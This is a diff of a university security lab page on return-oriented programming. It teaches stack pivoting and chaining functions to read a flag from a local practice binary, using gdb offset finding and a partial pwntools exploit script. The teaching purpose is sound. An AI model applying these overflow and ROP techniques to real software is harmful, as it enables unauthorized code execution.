This shows you the differences between two versions of the page.
cns:labs:lab-09 [2019/11/23 14:41] cristina.popescu |
cns:labs:lab-09 [2022/12/05 13:36] (current) mihai.dumitru2201 [Tasks] |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | ====== Lab 09 - Return Oriented Programming (Part 2) ====== | + | ====== Lab 09 - Return-Oriented Programming (Part 2) ====== |
- | ===== Resources ===== | ||
- | |||
- | * [[http://neilscomputerblog.blogspot.ro/2012/06/stack-pivoting.html|More about stack pivoting and creating a "fake stack"]] | ||
- | |||
- | ===== Supporting files ===== | ||
- | |||
- | You will use this [[http://elf.cs.pub.ro/oss/res/labs/lab-09.tar.gz|lab archive]] throughout the lab. | ||
- | |||
- | Please download the lab archive an then unpack it using the commands below: | ||
- | <code bash> | ||
- | $ wget http://elf.cs.pub.ro/oss/res/labs/lab-09.tar.gz | ||
- | $ tar xzf lab-09.tar.gz | ||
- | </code> | ||
- | |||
- | After unpacking, you will get the ''lab-09/'' folder: | ||
- | <code bash> | ||
- | $ cd lab-09/ | ||
- | $ ls -F | ||
- | flag Makefile task1* task1.c | ||
- | </code> | ||
===== Introduction ===== | ===== Introduction ===== | ||
Line 35: | Line 15: | ||
A more elegant solution is to "pivot" the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow. | A more elegant solution is to "pivot" the stack. Suppose there are additional constraints imposed such that it is impossible to return and repeat the overflow. | ||
- | Pivoting the stack basically means getting ''ESP'' to point elsewhere in memory, preferably a read-writable location which we control. | + | Pivoting the stack basically means getting ''RSP'' to point elsewhere in memory, preferably a read-writable location which we control. |
Supposing we find such a region in memory, we can simply return to a ''call read'' and simulate a call to ''read(0, pivot, size);''. The ''pivot'' address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size. | Supposing we find such a region in memory, we can simply return to a ''call read'' and simulate a call to ''read(0, pivot, size);''. The ''pivot'' address will contain a fabricated stack containing a ropchain of (nearly) arbitrary size. | ||
- | But how do we get ''ESP'' to point to a different region in memory? If you think about the ''leave'' instruction, which roughly does the following, you will begin to see an answer: | + | But how do we get ''RSP'' to point to a different region in memory? If you think about the ''leave'' instruction, which roughly does the following, you will begin to see an answer: |
<code asm> | <code asm> | ||
- | mov esp, ebp | + | mov rsp, rbp |
- | pop ebp | + | pop rbp |
</code> | </code> | ||
Line 49: | Line 29: | ||
===== Tasks ===== | ===== Tasks ===== | ||
+ | |||
+ | All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | ||
+ | |||
+ | |||
==== 1. Return to main ==== | ==== 1. Return to main ==== | ||
- | Inspect the source file ''task1.c''. See if you can spot the vulnerability. | + | Inspect the source file ''ret_to_main.c''. See if you can spot the vulnerability. |
The goal of the task is to get the contents of the ''flag'' file through the binary. In order to do this, we need to chain three functions together. | The goal of the task is to get the contents of the ''flag'' file through the binary. In order to do this, we need to chain three functions together. | ||
Line 59: | Line 43: | ||
<code asm> | <code asm> | ||
- | # gdb ./task1 | + | # gdb ./ret_to_main |
gdb-peda$ pattc 0x40 | gdb-peda$ pattc 0x40 | ||
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH' | 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH' | ||
gdb-peda$ r | gdb-peda$ r | ||
- | Starting program: /cns/lab-11/sol/task1 | + | Starting program: /cns/lab-11/sol/ret_to_main |
Welcome to our Retired Old Programmers message board! | Welcome to our Retired Old Programmers message board! | ||
Please leave a message: | Please leave a message: | ||
Line 115: | Line 99: | ||
</code> | </code> | ||
- | Our $rbp is at offset 48 => the return address will be at offset 56. | + | Our ''$rbp'' is at offset 48 => the return address will be at offset 56. |
=== Tutorial: Opening the flag file and returning to main === | === Tutorial: Opening the flag file and returning to main === | ||
Line 124: | Line 108: | ||
3. Return to ''main'' afterwards. | 3. Return to ''main'' afterwards. | ||
- | <code> | ||
- | [ESP] <address_of_stop> | ||
- | [ESP+4] <address_of_main> | ||
- | [ESP+8] <valid_argument_for_stop> | ||
- | </code> | ||
We'll need to save a few useful addresses: | We'll need to save a few useful addresses: | ||
<code bash> | <code bash> | ||
- | # nm task1 | egrep "main|stop|right|there|play" | + | # nm ret_to_main | egrep "main|stop|right|there|play" |
| | ||
00000000004012b5 T main | 00000000004012b5 T main | ||
Line 148: | Line 127: | ||
from pwn import * | from pwn import * | ||
- | io = process('./task1') | + | io = process('./ret_to_main') |
# Useful values | # Useful values | ||
Line 178: | Line 157: | ||
<code bash> | <code bash> | ||
# ./test.py | # ./test.py | ||
- | [+] Starting local process './task1': Done | + | [+] Starting local process './ret_to_main': Done |
[*] Switching to interactive mode | [*] Switching to interactive mode | ||
-> secret vault opened | -> secret vault opened | ||
Line 184: | Line 163: | ||
Please leave a message: | Please leave a message: | ||
$ | $ | ||
- | [*] Stopped program './task1' | + | [*] Stopped program './ret_to_main' |
</code> | </code> | ||
Line 276: | Line 255: | ||
[RDX] 0x200 # size | [RDX] 0x200 # size | ||
</code> | </code> | ||
+ | |||
+ | <note important>You might not find a ''pop rdx'' gadget in the binary, but luckily the ''rdx'' register is not changed after the ''read'' call in the main program so it should have a large enough value already set. </note> | ||
With all the pieces in place, we should have a working pivoting payload: | With all the pieces in place, we should have a working pivoting payload: | ||
Line 341: | Line 322: | ||
Now you are set to write a fully working ropchain to sequentially call the three functions in order to open, read and print the contents of the flag file. | Now you are set to write a fully working ropchain to sequentially call the three functions in order to open, read and print the contents of the flag file. | ||
+ | ===== Resources ===== | ||
+ | |||
+ | * [[http://neilscomputerblog.blogspot.ro/2012/06/stack-pivoting.html|More about stack pivoting and creating a "fake stack"]] |